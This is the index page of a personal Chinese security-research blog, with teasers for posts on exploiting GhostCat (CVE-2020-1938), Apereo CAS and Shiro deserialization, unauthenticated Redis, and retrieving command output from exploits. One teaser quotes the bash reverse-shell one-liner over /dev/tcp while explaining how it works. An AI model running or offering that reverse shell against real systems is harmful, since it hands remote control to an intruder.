"I love 00theway | blog | hacker | exp | exploit | security "

2022-05-14 21:38:07

header.intro-header{ background-image: url('/img/header_img/home-bg.jpg') /*config*/ } 00theway's blog OnTheWay Toggle navigation 00theway's blog Home Archives About tags GhostCat-从源代码比对到漏洞利用 123456 _ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|/ _ \| | |_) | _\ \ | | | (_) | (...... Posted by 00theway on 2020-02-22 ajp 漏洞分析 CNVD-2020-10487 CVE-2020-1938 通杀漏洞利用回显方法-linux平台 现状在漏洞利用中经常出现获取不到执行结果的情况，各路大牛也是研究了各种方法，目前能看到的大概有以下几种方式获取结果：报错回显web中获取当前上下文对象（response、context、writer等）可以出网情况下OOB在国内环境下大多数情况下都限制了对外的网络访问，获取执行结果变得难上加难，所以对新的方法进行研究，于是产生了本方法。新的回显思路经过一段时间的研究发现了...... Posted by 00theway on 2020-01-17 通杀 漏洞回显 Apereo CAS 反序列化漏洞分析及回显利用 背景介绍Apereo CAS 是一个开源的企业级单点登录系统，很多统一认证系统都是基于此系统二次开发，官网对于漏洞的一个通告，记录一下分析过程。漏洞环境直接使用docker运行了4.1.6的cas环境,将源代码拷贝出来以供分析。1234# docker psCONTAINER ID IMAGE COMMAND ...... Posted by 00theway on 2020-01-04 apereo cas Java Deserialization 回显 Shiro RCE again (Padding Oracle Attack) 背景介绍前一段时间Apache发了一个Shiro的漏洞通告RememberMe Padding Oracle Vulnerability，原因是Shiro使用了AES-128-CBC模式对cookie进行加密，导致恶意用户可以通过padding oracle攻击方式构造序列化数据进行反序列化攻击。SHIRO是一个JAVA WEB中使用率很高的权限管理组件，平时HW、攻防演练遇到的也很多...... Posted by 00theway on 2019-11-13 shiro rce exploit bash reverse shell bash 反弹shell下边是一段熟悉而又陌生的代码，经常被用来在linux环境下反弹shell1bash -i >& /dev/tcp/host/port 0>&1然而长时间以来对它的原理一直是似懂非懂，于是就抽时间研究了一下用到的特殊文件介绍12>/dev/tcp/host/port>当操作上边文件时， bash 会打开一个与文件...... Posted by 00theway on 2017-07-11 bash reverse shell redis unauthenticated exploit 简介Redis 提供了2种不同的持久化方式，RDB方式和AOF方式.RDB 持久化可以在指定的时间间隔内生成数据集的时间点快照.AOF 持久化记录服务器执行的所有写操作命令.经过查看官网文档发现AOF方式备份数据库的文件名默认为appendonly.aof，可以在配置文件中通过appendfilename设置其他名称，通过测试发现不能在客户端交互中动态设置appendfil...... Posted by 00theway on 2017-03-27 exploit redis unauthenticated FEATURED TAGS ajp 漏洞分析 CNVD-2020-10487 CVE-2020-1938 shiro rce exploit apereo cas Java Deserialization 回显 bash reverse shell 通杀 漏洞回显 redis unauthenticated ABOUT ME Hi, i'm 00theway RECENT POSTS GhostCat-从源代码比对到漏洞利用 通杀漏洞利用回显方法-linux平台 Apereo CAS 反序列化漏洞分析及回显利用 Shiro RCE again (Padding Oracle Attack) bash reverse shell FRIENDS DarkRay's BLog 随风's blog Beee’s Blog Copyright © 00theway 2020 Theme by Hux re-Ported by BeanTech |